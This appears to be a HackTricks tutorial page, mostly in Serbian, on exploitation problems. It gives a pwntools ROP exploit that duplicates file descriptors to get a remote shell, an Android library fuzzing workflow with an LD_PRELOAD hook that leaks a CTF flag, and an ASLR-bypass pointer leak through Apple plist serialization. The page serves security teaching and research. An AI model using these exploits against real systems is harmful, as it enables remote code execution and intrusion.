Uobičajeni problemi pri eksploataciji
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
FDs u daljinskoj eksploataciji
When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process ofc, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won’t be able to interact with the shell.
A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it’s possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it’ll make feasible to contact the shell once it’s executed.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Obratite pažnju da socat već prenosi stdin i stdout na socket. Međutim, pty režim uključuje DELETE karaktere. Dakle, ako pošaljete \x7f (DELETE), on će izbrisati prethodni karakter vašeg exploita.
Da biste to zaobišli, escape karakter \x16 mora biti dodat ispred svakog \x7f koji pošaljete.
Ovde možete pronaći primer ovog ponašanja.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Kada Android aplikacija sadrži samo stripped AArch64 .so, i dalje možete izvršavati fuzzing nad izvezenom logikom direktno na uređaju bez ponovnog izgradnje APK-a. Praktičan tok rada:
- Locate callable entry points.
objdump -T libvalidate.so | grep -E "validate"brzo navodi izvezene funkcije. Decompilatori (Ghidra, IDA, BN) otkrivaju stvarni potpis, npr.int validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. Učitajte fajl, održite buffer živim i pozovite izvezeni simbol tačno kao što bi to uradila aplikacija. Cross-kompajlirajte pomoću NDK-a (npr.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimalni fajl-pokretan harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Rekonstruišite očekivanu strukturu.** Tekstovi grešaka i poređenja u Ghidra pokazali su da funkcija parsira striktni JSON sa konstantnim ključevima (`magic`, `version`, ugneždeni `root.children.*`) i aritmetičkim proverama (npr. `value * 2 == 84` ⇒ `value` mora biti `42`). Slanjem sintaktički validnog JSON-a koji postepeno zadovoljava svaki ogranak možete mapirati šemu bez instrumentacije.
4. **Zaobiđite anti-debug da leak secrets.** Pošto `.so` importuje `snprintf`, zamenite ga pomoću `LD_PRELOAD` da ispišete osetljive format strings čak i kada su breakpoints blokirani:
<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json izvlači internal flag i potvrđuje crash oracle bez patchovanja binary-ja.
5. Smanjite fuzz space. Disassembly je otkrio XOR key koji se ponovo koristi u poređenju flag-a, što znači da su prvih sedam bytes flag-a bila poznata. Fuzz-ujte samo devet nepoznatih bytes-a.
6. Umetnite fuzz bytes unutar validnog JSON envelope-a. AFL harness čita tačno devet bytes-a sa stdin, kopira ih u sufiks flag-a, i hard-kodira svako drugo polje (constants, tree depths, arithmetic preimage). Bilo koji malformed read jednostavno izlazi, pa AFL troši cikluse na smislene testkejse:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Bilo koji input koji zadovoljava sve semantičke provere i pogodi ispravni devetobajtni sufiks pokreće namerni crash; ti fajlovi završavaju u `output/crashes` i mogu se replay-ovati kroz jednostavan harness da bi se recover-ovao tajni podatak.
Ovaj tok rada vam omogućava brzo triage anti-debug-protected JNI validators, leak secrets po potrebi, a zatim fuzz samo meaningful bytes — i sve to bez diranja originalnog APK-a.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Zlonamerni formati kamera često dolaze sa sopstvenim bytecode-om (opcode lists, map tables, tone curves). Kada privilegovani decoder ne uspe da uradi bound-check metadata-izvedenih dimenzija ili plane indices, ti opcode-i postaju attacker-controlled read/write primitives koji mogu da groom-uju heap, pivot-uju pokazivače, ili čak leak ASLR. Samsung-ov in-the-wild Quram exploit je recentan primer chaining-a `DeltaPerColumn` bounds buga, heap spraying-a via skipped opcodes, vtable remapping-a, i JOP chain-a to `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### Zahtevi & površina napada
- Servis prihvata attacker-controlled property lists (XML ili binary) i poziva `NSKeyedUnarchiver.unarchivedObjectOfClasses` sa permisivnim allowlist-om (npr., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Rezultujući objekti se ponovo koriste i kasnije serijalizuju opet sa `NSKeyedArchiver` (ili se iteriraju u determinističkom redosledu bucket-a) i šalju nazad napadaču.
- Neki tip ključa u kontejnerima koristi vrednosti pokazivača kao svoj hash code. Pre marta 2025, `CFNull`/`NSNull` je padao na `CFHash(object) == (uintptr_t)object`, a deserializacija je uvek vraćala shared-cache singleton `kCFNull`, dajući stabilan kernel-shared pointer bez memorijske korupcije ili tajming-a.
### Kontrolisani hash primitiv
- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` nema hash callback, pa `CFBasicHash` koristi adresu objekta kao hash. Pošto singleton postoji na fiksnoj shared-cache adresi do reboot-a, njegov hash je stabilan između procesa.
- **Attacker-controlled hashes:** 32-bit `NSNumber` ključevi se heširaju kroz `_CFHashInt`, koji je deterministički i kontrolisan od strane napadača. Biranje specifičnih celih brojeva dozvoljava napadaču da odabere `hash(number) % num_buckets` za bilo koju veličinu tabele.
- **`NSDictionary` implementation:** Immutable dictionaries ugrađuju `CFBasicHash` sa prostim brojem bucket-a izabranim iz `__CFBasicHashTableSizes` (npr., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Kolizije se rešavaju linearnim probing-om (`__kCFBasicHashLinearHashingValue`), a serializacija prolazi kroz buckete u numeričkom redosledu; dakle, redosled serializovanih ključeva enkodira indeks bucketa koji je svaki ključ na kraju zauzeo.
### Kodiranje indeksa bucketa u redosled serializacije
Kreiranjem plist-a koji materializuje dictionary čiji bucketi naizmenično sadrže occupied i empty slot-ove, napadač ograničava gde linear probing može postaviti `NSNull`. Za primer sa 7 bucketa, popunjavanje parnih bucketa `NSNumber` ključevima daje:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
Tokom deserializacije žrtva ubacuje jedinstveni NSNull ključ. Njegov početni bucket je hash(NSNull) % 7, ali probing napreduje dok ne naiđe na jedan od otvorenih indeksa {1,3,5}. Redosled serijalizovanih ključeva otkriva koji je slot korišćen, otkrivajući da li se pointer hash modulo 7 nalazi u {6,0,1}, {2,3} ili {4,5}. Pošto napadač kontroliše originalni serijalizovani redosled, NSNull ključ je emitovan poslednji u ulaznom plist-u, pa je redosled posle re-serializacije isključivo funkcija rasporeda bucketa.
Utvrđivanje tačnih ostataka pomoću komplementarnih tabela
A single dictionary only leaks a range of residues. To determine the precise value of hash(NSNull) % p, build two dictionaries per prime bucket size p: one with even buckets pre-filled and one with odd buckets pre-filled. For the complementary pattern (_ # _ # _ # _), the empty slots (0,2,4,6) map to residue sets {0}, {1,2}, {3,4}, {5,6}. Observing the serialized position of NSNull in both dictionaries narrows the residue to a single value because the intersection of the two candidate sets yields a unique r_i for that p.
The attacker bundles all dictionaries inside an NSArray, so a single deserialize → serialize round trip leaks residues for every chosen table size.
Rekonstrukcija 64-bitnog shared-cache pokazivača
Za svaki prost p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, нападач rekonstruše hash(NSNull) ≡ r_i (mod p_i) из serijalizovanog redosleda. Primena Kineskog teorema o ostatcima (CRT) zajedno sa proširenim Euklidovim algoritmom daje:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
tako kombinisani ostatak jedinstveno odgovara 64-bitnom pokazivaču na kCFNull. Project Zero PoC iterativno kombinuje kongruencije pritom ispisujući međumodule kako bi pokazao konvergenciju ka stvarnoj adresi (0x00000001eb91ab60 na ranjivoj verziji).
Practical workflow
- Generate crafted input: Sastavite attacker-side XML plist (dva rečnika po prostom broju,
NSNullserijalizovan poslednji) i konvertujte ga u binarni format.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: Servis žrtve deserializuje koristeći
NSKeyedUnarchiver.unarchivedObjectOfClassessa dozvoljenim skupom klasa{NSDictionary, NSArray, NSNumber, NSString, NSNull}i odmah ponovo serijalizuje koristećiNSKeyedArchiver. - Residue extraction: Konverzijom vraćenog plist-a nazad u XML otkriva se redosled ključeva u rečniku. Pomoćni alat kao
extract-pointer.cčita object table, određuje indeks singletonNSNull, preslikava svaki par rečnika nazad na njegov bucket remainder i rešava CRT sistem da bi povratio shared-cache pointer. - Verification (optional): Prevođenje male Objective-C pomoćne aplikacije koja ispisuje
CFHash(kCFNull)potvrđuje da leaked value odgovara stvarnoj adresi.
Nije potrebna greška u memory safety — jednostavno posmatranje redosleda serijalizacije pointer-keyed structures daje remote ASLR bypass primitive.
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


